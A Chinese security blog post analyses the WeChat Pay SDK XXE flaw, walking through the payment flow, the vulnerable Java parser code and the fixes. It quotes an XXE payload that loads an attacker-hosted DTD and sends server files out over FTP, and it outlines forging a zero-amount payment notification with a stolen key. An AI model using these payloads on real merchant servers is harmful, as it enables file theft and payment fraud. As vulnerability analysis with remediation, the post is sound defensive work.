首页 » Network_security » Penetration » 正文

微信支付流程及其XXE漏洞

0x00 概述

7月4日,网上爆出微信支付sdk存在xxe漏洞,原因是商户用来获取微信支付结果的notify_url接口可以接受XML数据,而且未禁用外部实体,利用该漏洞可以读取支付服务器文件,甚至可能获取商户key实现0元支付。

 

0x01 微信支付流程

以微信公众号支付为例,其他支付方式大同小异

基本流程:

1.商户后台携带支付数据调用微信统一下单api:https://api.mch.weixin.qq.com/pay/unifiedorder获取prepay_id。

2.调起微信支付内置js,点支付输密码,支付成功(微信客户端与微信服务器交互)。

3.微信服务器向notify_url(回调地址)返回支付结果通知给商户后台(须验签),这一步才是最终交易成功。

微信支付签名算法://—–来自https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3—————————
签名生成的通用步骤如下:

第一步,设所有发送或者接收到的数据为集合M,将集合M内非空参数值的参数按照参数名ASCII码从小到大排序(字典序),使用URL键值对的格式(即key1=value1&key2=value2…)拼接成字符串stringA。

特别注意以下重要规则:

  1. ◆ 参数名ASCII码从小到大排序(字典序);
  2. ◆ 如果参数的值为空不参与签名;
  3. ◆ 参数名区分大小写;
  4. ◆ 验证调用返回或微信主动通知签名时,传送的sign参数不参与签名,将生成的签名与该sign值作校验。
  5. ◆ 微信接口可能增加字段,验证签名时必须支持增加的扩展字段

第二步,在stringA最后拼接上key得到stringSignTemp字符串,并对stringSignTemp进行MD5运算,再将得到的字符串所有字符转换为大写,得到sign值signValue。

◆ key设置路径:微信商户平台(pay.weixin.qq.com)–>账户设置–>API安全–>密钥设置

//—————————————————————————————————————————-

 

0x01 微信支付XXE漏洞

此漏洞发生在上述支付流程第三步,攻击者向notify_url发送恶意xml数据,形成xxe,可能获取key达到0元支付的效果。

漏洞文件:
WXPayUtil.java:38

关键代码:

public static Map<String, String> xmlToMap(String strXML) throws
Exception {

    try {

            Map<String, String> data = new HashMap<String, String>();


            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();

            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();

            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));

            org.w3c.dom.Document doc = documentBuilder.parse(stream);


            doc.getDocumentElement().normalize();

            NodeList nodeList = doc.getDocumentElement().getChildNodes();

            for (int idx = 0; idx < nodeList.getLength(); ++idx) {

                Node node = nodeList.item(idx);

                if (node.getNodeType() == Node.ELEMENT_NODE) {

                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;

                    data.put(element.getNodeName(), element.getTextContent
());

                }

            }

            try {

                stream.close();

            } catch (Exception ex) {

                // do nothing

            }

            return data;

        } catch (Exception ex) {

            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);

            throw ex;

        }

    }



]

解析xml没有禁用外部实体……

收到支付结果通知的官方demo:

收到支付结果通知时,需要验证签名,可以这样做:

“`java

import com.github.wxpay.sdk.WXPay;
import com.github.wxpay.sdk.WXPayUtil;

import java.util.Map;

public class WXPayExample {

    public static void main(String[] args) throws Exception {

        String notifyData = "...."; // 支付结果通知的xml格式数据

        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);

        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);  // 转换成map

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
            // 签名正确
            // 进行处理。
            // 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功
        }
        else {
            // 签名错误,如果数据里没有sign字段,也认为是签名错误
        }
    }

}
```

攻击demo://来自http://seclists.org/fulldisclosure/2018/Jul/3

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

  <!ENTITY % attack SYSTEM "file:///etc/">

  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>

  %xxe;

]>


data.dtd:


<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack;
'>">

%shell;

%upload;

若想达到0元支付,在读取到key之后再形成签名伪造支付结果通知即可,如:

<xml>
  <appid><![CDATA[wx2421b1c4370ec43b]]></appid>
  <attach><![CDATA[支付测试]]></attach>
  <bank_type><![CDATA[CFT]]></bank_type>
  <fee_type><![CDATA[CNY]]></fee_type>
  <is_subscribe><![CDATA[Y]]></is_subscribe>
  <mch_id><![CDATA[10000100]]></mch_id>
  <nonce_str><![CDATA[5d2b6c2a8db53831f7eda20af46e531c]]></nonce_str>
  <openid><![CDATA[oUpF8uMEb4qRXf22hE3X68TekukE]]></openid>
  <out_trade_no><![CDATA[1409811653]]></out_trade_no>
  <result_code><![CDATA[SUCCESS]]></result_code>
  <return_code><![CDATA[SUCCESS]]></return_code>
  <sign><![CDATA[B552ED6B279343CB493C5DD0D78AB241]]></sign>
  <sub_mch_id><![CDATA[10000100]]></sub_mch_id>
  <time_end><![CDATA[20140903131540]]></time_end>
  <total_fee>0</total_fee>
<coupon_fee><![CDATA[10]]></coupon_fee>
<coupon_count><![CDATA[1]]></coupon_count>
<coupon_type><![CDATA[CASH]]></coupon_type>
<coupon_id><![CDATA[10000]]></coupon_id>
<coupon_fee><![CDATA[100]]></coupon_fee>
  <trade_type><![CDATA[JSAPI]]></trade_type>
  <transaction_id><![CDATA[1004400740201409030005092168]]></transaction_id>
</xml>

 

0x02 修复方案

参考各语言的xxe修复,如:

php:

libxml_disable_entity_loader(true);

 

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

 

python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

这次微信sdk的修复:

WXPayUtil.java:38
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

WXPayXmlUtil.java:13
public final class WXPayXmlUtil {
    public static DocumentBuilder newDocumentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
        documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        documentBuilderFactory.setXIncludeAware(false);
        documentBuilderFactory.setExpandEntityReferences(false);

        return documentBuilderFactory.newDocumentBuilder();
    }

 

0x03 结语

这个微信支付xxe如果要实现0元支付,不仅要知道notify_url,还要知道key的存放位置(据说key还可以读配置文件反编译获取),而且如果有核对金额之类的,可能就支付失败了,所以存在一定难度,但是危害很大。

微信支付用的key微信服务器和商户后台都相同,如果使用非对称进行签名就安全些。

还有数据传输,尽量用json吧。

 

0x04 参考资料

https://www.cnblogs.com/inevermore/p/4282731.html

https://zhuanlan.zhihu.com/p/31557319

https://www.cnblogs.com/yimiyan/p/5603657.html

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=11_1

https://xz.aliyun.com/t/2426

seclists.org/fulldisclosure/2018/Jul/3

https://xz.aliyun.com/t/2427

www.cnblogs.com/kismetv/p/9266224.html

www.freebuf.com/vuls/176837.html

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

www.freebuf.com/vuls/176667.html

 

Comment